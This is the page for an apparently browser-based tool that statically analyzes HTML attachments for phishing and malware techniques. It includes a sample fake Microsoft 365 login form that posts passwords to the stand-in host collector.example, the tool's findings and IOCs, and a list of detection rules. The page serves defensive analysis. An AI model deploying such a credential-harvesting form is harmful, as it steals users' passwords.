Peel Base64, hex, URL encoding, gzip and deflate layers until readable text remains.
New
HTML Attachment Analyzer
Runs locallyNew
Use HTML Attachment Analyzer
What it does
Load or paste an HTML or SVG attachment to see what it would do if opened: hidden downloads, forms that post a password elsewhere, redirects, exfiltration endpoints and obfuscated code. The file is read as text and never rendered or run.
It runs entirely in your browser: nothing you enter is uploaded.
Example
Login form with a pre-filled address
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…High risk: the login form sends the password to collector[.]example, the title names Microsoft 365 next to a password field, and the script fills in the e-mail address from the URL fragment with atob. The IOC list holds the collector URL and its domain, defanged.
FAQ
What does the analyzer look for?
It matches the source against rules for HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, download links, data: URIs and long Base64 blobs), forms and scripts that send data to other sites, Telegram and Discord exfiltration, redirects, hidden iframes, obfuscators and anti-analysis tricks. It also decodes atob, unescape and fromCharCode literals without running them and lists every URL, domain, IP address and e-mail address it finds, defanged.
Can it miss something or raise a false alarm?
Yes. Encrypted or run-time-generated code can hide its behaviour from a static scan, and ordinary pages also use fetch, innerHTML or inline images, so read the matching source shown next to each finding. For deobfuscation and sandboxed emulation use JS Analyzer.
Is the file uploaded or opened?
No. The file is read as text in your browser and is never rendered, executed or sent anywhere. Files up to 25 MB are accepted; for very large ones the first 4 MB and the last 1 MB of markup are scanned, and embedded blobs are counted in the whole file.